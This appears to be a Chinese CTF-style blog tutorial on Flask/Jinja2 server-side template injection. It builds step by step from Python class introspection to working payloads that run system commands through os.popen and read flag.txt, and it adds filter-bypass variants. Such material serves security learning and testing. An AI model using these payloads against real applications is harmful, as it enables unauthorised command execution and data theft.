1.先贴一个利用该漏洞RCE的例子
http://127.0.0.1:5000/?key={{%27%27.__class__.__mro__[1].__subclasses__()[128].__init__.__globals__[%27popen%27](%27dir%27).read()}}
为什么在key里面输入''.__class__那一长串的代码会执行dir命令并且把本地的目录遍历出来呢?下面就详细说说
2.在python中，object类是Python中所有类的基类，如果定义一个类时没有指定继承哪个类，则默认继承object类。
2.1列出类型
# 列出类型
print(''.__class__)
print(().__class__)
print([].__class__)
# 打印类型如下
<class 'str'>
<class 'tuple'>
<class 'list'>
可以看出'' [] ()三个都是什么类型
2.2列出基类
# 列出基类/父类
print(''.__class__.__bases__)
# 打印如下
(<class 'object'>,)
可以看出str类型的父类型是object类型,也就是最终的基类
2.3列出类型解析函数的执行顺序
# 列出类型解析函数的执行顺序
print(''.__class__.__mro__)
# 打印如下
(<class 'str'>, <class 'object'>)
可以理解为先解析为str类型,在解析为object类型,解析到基类没啥在解析的就结束了。
2.4列出解析函数顺序下标为1的类型
# 列出解析函数顺序下标为1的类型
print(''.__class__.__mro__[1])
# 打印如下
<class 'object'>
接着2.3的打印结果来看，(<class 'str'>, <class 'object'>)，下标从0开始，那么1就是 <class 'object'>
2.5获取子类聚合
# 获取子类聚合
print(''.__class__.__bases__[0].__subclasses__())
# 打印如下
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>,
<class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class
'callable_iterator'>, <class 'iterator'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'moduledef'>, <class 'module'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib._installed_safely'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class 'zipimport.zipimporter'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'nt.ScandirIterator'>, <class 'nt.DirEntry'>, <class 'PyHKEY'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'MultibyteCodec'>, <class 'MultibyteIncrementalEncoder'>, <class 'MultibyteIncrementalDecoder'>, <class 'MultibyteStreamReader'>, <class 'MultibyteStreamWriter'>]
str的父类就是只有一个object类,object类的第0个还是object类，输入[1]或者其他参数会报错，可以看到object类有很多子类
2.6获取子类聚合的个数
# 获取子类聚合的个数
print(len(''.__class__.__bases__[0].__subclasses__()))
# 打印如下
137
不同的python版本,对应+子类数量可能不一样
2.7寻找可以执行系统命令的子类
for i in range(0,137):
try:
print(''.__class__.__mro__[1].__subclasses__()[i].__init__)
print(''.__class__.__mro__[1].__subclasses__()[i])
print(i)
except:
pass
# 打印如下
<slot wrapper '__init__' of 'type' objects>
<class 'type'>
0
<slot wrapper '__init__' of 'weakref' objects>
<class 'weakref'>
1
此处忽略若干...
<slot wrapper '__init__' of 'object' objects>
<class 'collections.abc.Callable'>
127
<function _wrap_close.__init__ at 0x000001D66B1C1048>
<class 'os._wrap_close'>
128
<function Quitter.__init__ at 0x000001D66B1C1598>
ultibyteStreamReader'>
135
<slot wrapper '__init__' of 'MultibyteStreamWriter' objects>
<class 'MultibyteStreamWriter'>
136
for i in range(0,136):
try:
print(''.__class__.__mro__[1].__subclasses__()[i].__init__.__globals__['popen'])
print(''.__class__.__mro__[1].__subclasses__()[i])
print(i)
except:
pass
# 打印如下
<function popen at 0x0000020FF7AB4EA0>
<class 'os._wrap_close'>
128
__init__方法是查找这个类的初始化类，__globals__是全局查找所有的方法，用popen方法举例，我们知道popen方法在第128个子类中，那就列出popen的所有模块来
2.8查找可以使用的模块
print(''.__class__.__bases__[0].__subclasses__()[128].__init__.__globals__)
# 打印如下
All Rights Reserved., 'credits': Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands
for supporting Python development. See www.python.org for more information., 'license': Type license() to see the full license text, 'help': Type help() for interactive help, or help(object) for help about object.}, 'abc': <module 'abc' from 'D:\\python3.7.2\\lib\\abc.py'>, 'sys': <module 'sys' (built-in)>, 'st': <module 'stat' from 'D:\\python3.7.2\\lib\\stat.py'>, '__all__': ['altsep', 'curdir', 'pardir', 'sep', 'pathsep', 'linesep', 'defpath', 'name', 'path', 'devnull', 'SEEK_SET', 'SEEK_CUR', 'SEEK_END', 'fsencode', 'fsdecode', 'get_exec_path', 'fdopen', 'popen', 'extsep', '_exit', 'DirEntry', 'F_OK', 'O_APPEND', 'O_BINARY', 'O_CREAT', 'O_EXCL', 'O_NOINHERIT',
'O_RANDOM', 'O_RDONLY', 'O_RDWR', 'O_SEQUENTIAL', 'O_SHORT_LIVED', 'O_TEMPORARY', 'O_TEXT', 'O_TRUNC', 'O_WRONLY', 'P_DETACH', 'P_NOWAIT', 'P_NOWAITO', 'P_OVERLAY', 'P_WAIT', 'R_OK', 'TMP_MAX', 'W_OK', 'X_OK', 'abort', 'access', 'chdir', 'chmod', 'close', 'closerange', 'cpu_count', 'device_encoding', 'dup', 'dup2', 'environ', 'error', 'execv', 'execve', 'fspath', 'fstat', 'fsync', 'ftruncate', 'get_handle_inheritable', 'get_inheritable', 'get_terminal_size', 'getcwd', 'getcwdb', 'getlogin', 'getpid', 'getppid', 'isatty', 'kill', 'link', 'listdir', 'lseek', 'lstat', 'mkdir', 'open', 'pipe', 'putenv', 'read', 'readlink', 'remove', 'rename', 'replace', 'rmdir', 'scandir',
'set_handle_inheritable', 'set_inheritable', 'spawnv', 'spawnve', 'startfile', 'stat', 'stat_result', 'statvfs_result', 'strerror', 'symlink', 'system', 'terminal_size', 'times', 'times_result', 'truncate', 'umask', 'uname_result', 'unlink', 'urandom', 'utime', 'waitpid', 'write', 'makedirs', 'removedirs', 'renames', 'walk', 'execl', 'execle', 'execlp', 'execlpe', 'execvp', 'execvpe', 'getenv', 'supports_bytes_environ', 'spawnl', 'spawnle'], '_exists': <function _exists at 0x0000022197100048>, '_get_exports_list': <function _get_exports_list at 0x0000022197100730>, 'name': 'nt', 'linesep': '\r\n', 'stat': <built-in function stat>, 'access': <built-in function access>, 'chdir': <built-in function chdir>, 'chmod': <built-in function chmod>, 'getcwd': <built-in function getcwd>, 'getcwdb': <built-in function getcwdb>, 'link': <built-in function link>, 'listdir': <built-in function listdir>, 'lstat': <built-in function lstat>, 'mkdir': <built-in function mkdir>, 'readlink': <built-in function readlink>, 'rename': <built-in function rename>, 'replace': <built-in function replace>, 'rmdir': <built-in function rmdir>, 'symlink': <built-in function symlink>, 'system': <built-in function system>, 'umask': <built-in function umask>, 'unlink': <built-in function unlink>, 'remove': <built-in function remove>, 'utime': <built-in function utime>, 'times': <built-in function times>, 'execv': <built-in function execv>, 'execve': <built-in function execve>, 'spawnv': <built-in function spawnv>, 'spawnve': <built-in function spawnve>, 'getpid': <built-in function getpid>, 'getppid': <built-in function getppid>, 'getlogin': <built-in function getlogin>, 'kill': <built-in function kill>, 'startfile': <built-in function startfile>, 'waitpid': <built-in function waitpid>, 'open': <built-in function
open>, 'close': <built-in function close>, 'closerange': <built-in function closerange>, 'device_encoding': <built-in function device_encoding>, 'dup': <built-in function dup>, 'dup2': <built-in function dup2>, 'lseek': <built-in function lseek>, 'read': <built-in function read>, 'write': <built-in function write>, 'fstat': <built-in function fstat>, 'isatty': <built-in function isatty>, 'pipe': <built-in function pipe>, 'ftruncate': <built-in funclt-in function urandom>, 'get_terminal_size': <built-in function get_terminal_size>, 'cpu_count': <built-in function cpu_count>, 'get_inheritable': <built-in function get_inheritable>, 'set_inheritable': <built-in function set_inheritable>, 'get_handle_inheritable': <built-in function get_handle_inheritable>, 'set_handle_inheritable': <built-in function set_handle_inheritable>, 'scandir': <built-in function scandir>, 'fspath': <built-in function fspath>, 'environ': environ({'ALLUSERSPROFILE': 'C:\\ProgramData', 'APPDATA': 'C:\\Users\\kali\\AppData\\Roaming', 'CHROME_CRASHPAD_PIPE_NAME': '\\\\.\\pipe\\crashpad_19280_YPGZKXKIFWFPNTXK', 'CLASSPATH': '.;D:\\Program Files\\Java\\jdk1.8.0_191\\lib\\dt.jar;D:\\Program Files\\Java\\jdk1.8.0_191\\lib\\tools.jar;', 'COMMONPROGRAMFILES': 'C:\\Program Files\\Common Files', 'COMMONPROGRAMFILES(X86)': 'C:\\Program Files (x86)\\Common Files', 'COMMONPROGRAMW6432': 'C:\\Program Files\\Common Files', 'COMPUTERNAME': 'DESKTOP-OE6E37K', 'COMSPEC': 'C:\\WINDOWS\\system32\\cmd.exe', 'DRIVERDATA': 'C:\\Windows\\System32\\Drivers\\DriverData', 'HOMEDRIVE': 'C:', 'HOMEPATH': '\\Users\\kali', 'JAVA_HOME': 'D:\\Program Files\\Java\\jdk1.8.0_191', 'LOCALAPPDATA': 'C:\\Users\\kali\\AppData\\Local', 'LOGONSERVER': '\\\\DESKTOP-OE6E37K', 'NUMBER_OF_PROCESSORS': '6', 'ONEDRIVE': 'C:\\Users\\kali\\OneDrive', 'ORIGINAL_XDG_CURRENT_DESKTOP': 'undefined', 'OS': 'Windows_NT', 'PATH': 'D:\\xshell7\\;C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Windows\\System32\\OpenSSH\\;C:\\Program Files (x86)\\NVIDIA Corporation\\PhysX\\Common;C:\\Program Files\\NVIDIA Corporation\\NVIDIA NvDLISR;D:\\Program Files\\Java\\jdk1.8.0_191\\bin;D:\\Program Files\\Java\\jdk1.8.0_191\\jre\\bin;D:\\python3.7.2;C:\\WINDOWS\\System32\\OpenSSH\\;D:\\Nmap;D:\\python3.7.2\\BBScan-master;D:\\python3.7.2\\Scripts;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;D:\\Git\\cmd;C:\\Users\\kali\\AppData\\Local\\Microsoft\\WindowsApps;;D:\\Microsoft VS Code\\bin', 'PATHEXT': '.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL', 'PROCESSOR_ARCHITECTURE': 'AMD64', 'PROCESSOR_IDENTIFIER': 'Intel64 Family 6 Model 158 Stepping 10, GenuineIntel', 'PROCESSOR_LEVEL': '6', 'PROCESSOR_REVISION': '9e0a', 'PROGRAMDATA': 'C:\\ProgramData', 'PROGRAMFILES': 'C:\\Program Files', 'PROGRAMFILES(X86)': 'C:\\Program Files (x86)', 'PROGRAMW6432':
'C:\\Program Files', 'PSMODULEPATH': 'D:\\文档\\WindowsPowerShell\\Modules;C:\\Program Files\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules', 'PUBLIC': 'C:\\Users\\Public', 'SESSIONNAME': 'Console', 'SYSTEMDRIVE': 'C:', 'SYSTEMROOT': 'C:\\WINDOWS', 'TEMP': 'C:\\Users\\kali\\AppData\\Local\\Temp', 'TMP': 'C:\\Users\\kali\\AppData\\Local\\Temp', 'USERDOMAIN': 'DESKTOP-OE6E37K', 'USERDOMAIN_ROAMINGPROFILE': 'DESKTOP-OE6E37K', 'USERNAME': 'kali', 'USERPROFILE': 'C:\\Users\\kali', 'WINDIR': 'C:\\WINDOWS', 'TERM_PROGRAM': 'vscode', 'TERM_PROGRAM_VERSION': '1.55.1', 'LANG': 'zh_CN.UTF-8', 'COLORTERM': 'truecolor'}), 'F_OK': 0, 'R_OK': 4, 'W_OK': 2, 'X_OK': 1, 'TMP_MAX': 2147483647, 'O_RDONLY': 0, 'O_WRONLY': 1, 'O_RDWR': 2, 'O_APPEND': 8, 'O_CREAT': 256, 'O_EXCL': 1024, 'O_TRUNC': 512, 'O_BINARY': 32768, 'O_TEXT': 16384, 'O_NOINHERIT': 128, 'O_SHORT_LIVED': 4096, 'O_TEMPORARY': 64, 'O_RANDOM': 16, 'O_SEQUENTIAL': 32, 'P_WAIT': 0, 'P_NOWAIT': 1, 'P_OVERLAY': 2, 'P_NOWAITO': 3, 'P_DETACH': 4, 'error': <class 'OSError'>, 'stat_result': <class 'os.stat_result'>, 'statvfs_result': <class
'os.statvfs_result'>, 'times_result': <class 'nt.times_result'>, 'uname_result': <class 'nt.uname_result'>, 'terminal_size': <class 'os.terminal_size'>, 'DirEntry': <class 'nt.DirEntry'>, '_exit': <built-in function _exit>, 'path': <module 'ntpath' from 'D:\\python3.7.2\\lib\\ntpath.py'>, 'curdir': '.', 'pardir': '..', 'sep': '\\', 'pathsep': ';', 'defpath': '.;C:\\bin', 'extsep': '.', 'altsep': '/', 'devnull': 'nul', 'supports_dir_fd': set(), 'supports_effective_ids': set(), 'supports_fd': {<built-in function stat>, <built-in function truncate>}, 'supports_follow_symlinks': {<built-in function stat>}, 'SEEK_SET': 0, 'SEEK_CUR': 1, 'SEEK_END': 2, 'makedirs': <function makedirs at 0x00000221971002F0>, 'removedirs': <function removedirs at 0x000002219711C620>, 'renames': <function renames at 0x000002219711C6A8>, 'walk': <function walk at 0x000002219711C730>, 'execl': <function execl at 0x000002219711C7B8>, 'execle': <function execle at 0x000002219711C840>, 'execlp': <function execlp at 0x000002219711C8C8>, 'execlpe': <function execlpe at 0x000002219711C950>, 'execvp': <function execvp at 0x000002219711C9D8>, 'execvpe': <function execvpe at 0x000002219711CA60>, '_execvpe': <function _execvpe at 0x000002219711CAE8>, 'get_exec_path': <function get_exec_path at 0x000002219711CB70>, 'MutableMapping': <class 'collections.abc.MutableMapping'>, '_Environ': <class 'os._Environ'>, '_putenv': <built-in function putenv>, '_unsetenv': <function <lambda> at 0x000002219711CBF8>, 'getenv': <function getenv at 0x00000221971A4AE8>, 'supports_bytes_environ': False, 'fsencode': <function _fscodec.<locals>.fsencode at 0x00000221971A4D08>, 'fsdecode': <function _fscodec.<locals>.fsdecode at 0x00000221971A4D90>, 'spawnl': <function spawnl at 0x00000221971A4C80>, 'spawnle': <function spawnle at 0x00000221971A4E18>, 'popen': <function popen at 0x00000221971A4EA0>, '_wrap_close': <class 'os._wrap_close'>, 'fdopen': <function fdopen at 0x00000221971A4F28>, '_fspath': <function _fspath at 0x0000022197138378>, 'PathLike': <class
'os.PathLike'>}
print(''.__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.keys())
# 打印如下
dict_keys(['__name__', '__doc__', '__package__', '__loader__', '__spec__', '__file__', '__cached__', '__builtins__', 'abc', 'sys', 'st', '__all__', '_exists', '_get_exports_list', 'name', 'linesep', 'stat', 'access', 'chdir',
'chmod', 'getcwd', 'getcwdb', 'link', 'listdir', 'lstat', 'mkdir', 'readlink', 'rename', 'replace', 'rmdir', 'symlink', 'system', 'umask', 'unlink', 'remove', 'utime', 'times', 'execv', 'execve', 'spawnv', 'spawnve', 'getpid', 'getppid', 'getlogin', 'kill', 'startfile', 'waitpid', 'open', 'close', 'closerange', 'device_encoding', 'dup', 'dup2', 'lseek', 'read', 'write', 'fstat', 'isatty', 'pipe', 'ftruncate', 'truncate', 'putenv', 'strerror', 'fsync', 'abort', 'urandom', 'get_terminal_size', 'cpu_count', 'get_inheritable', 'set_inheritable', 'get_handle_inheritable', 'set_handle_inheritable', 'scandir', 'fspath', 'environ', 'F_OK', 'R_OK', 'W_OK', 'X_OK', 'TMP_MAX', 'O_RDONLY', 'O_WRONLY', 'O_RDWR', 'O_APPEND', 'O_CREAT', 'O_EXCL', 'O_TRUNC', 'O_BINARY', 'O_TEXT', 'O_NOINHERIT', 'O_SHORT_LIVED', 'O_TEMPORARY', 'O_RANDOM', 'O_SEQUENTIAL', 'P_WAIT', 'P_NOWAIT', 'P_OVERLAY', 'P_NOWAITO', 'P_DETACH', 'error', 'stat_result', 'statvfs_result', 'times_result', 'uname_result', 'terminal_size', 'DirEntry', '_exit', 'path', 'curdir', 'pardir', 'sep', 'pathsep', 'defpath', 'extsep', 'altsep', 'devnull', 'supports_dir_fd', 'supports_effective_ids', 'supports_fd', 'supports_follow_symlinks', 'SEEK_SET', 'SEEK_CUR', 'SEEK_END', 'makedirs', 'removedirs', 'renames', 'walk', 'execl', 'execle', 'execlp', 'execlpe', 'execvp', 'execvpe', '_execvpe', 'get_exec_path', 'MutableMapping', '_Environ', '_putenv', '_unsetenv', 'getenv', 'supports_bytes_environ', 'fsencode', 'fsdecode', 'spawnl', 'spawnle', 'popen', '_wrap_close', 'fdopen', '_fspath', 'PathLike'])
可以看到有很多可以用的模块
2.9用popen的dir执行下试试
# 执行相关系统命令
print(''.__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('dir').read())
# 打印如下
2021/04/10 11:21 <DIR> .
2021/04/10 11:21 <DIR> ..
2021/03/03 21:20 <DIR> 0708_test
2021/04/04 11:23 316 1.php
2021/04/06 21:44 <DIR> Crypto
2021/04/10 11:29 3 flag.txt
2021/04/10 11:20 <DIR> Flask_SSTI
2021/02/22 21:59 18,431 LICENSE
2021/02/23 21:26 <DIR> model_test
2021/02/22 22:08 <DIR> python_basis
2021/02/22 21:59 <DIR> python绝技
2021/02/22 21:59 34 README.md
4 个文件 18,784 字节
8 个目录 774,927,552,512 可用字节
2.10绕过
# 在[]被过滤
print(''.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(128))
print(''.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(128).__init__.__globals__.get('popen')('dir').read())
# [] '' 被过滤
# {{().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(128).__init__.__globals__.get(request.args.func)(request.args.cmd).read()}}&func=popen&cmd=dir
# 关键字被过滤
print(''.__getattribute__('__'+'cl'+'ass'+'__'))
print(''.__getattribute__('__'+'cl'+'ass'+'__').__mro__.__getitem__(1).__subclasses__().__getitem__(128).__init__.__globals__.get('__builtins__').get('open')('flag.txt').read())
3.到此为止，算是知道了REC的利用了吧，其他的利用方式和这个同理，下面我们把这个在web上试试
4.在key参数里面输入''.__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('ipconfig').read()，发现已经可以看到ip信息了
读取下flag
http://127.0.0.1:5000/?key={{%27%27.__class__.__mro__[1].__subclasses__()[128].__init__.__globals__[%27__builtins__%27][%27open%27](%27flag.txt%27).read()}}
了解差不多了,去做题试试！！！
502
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
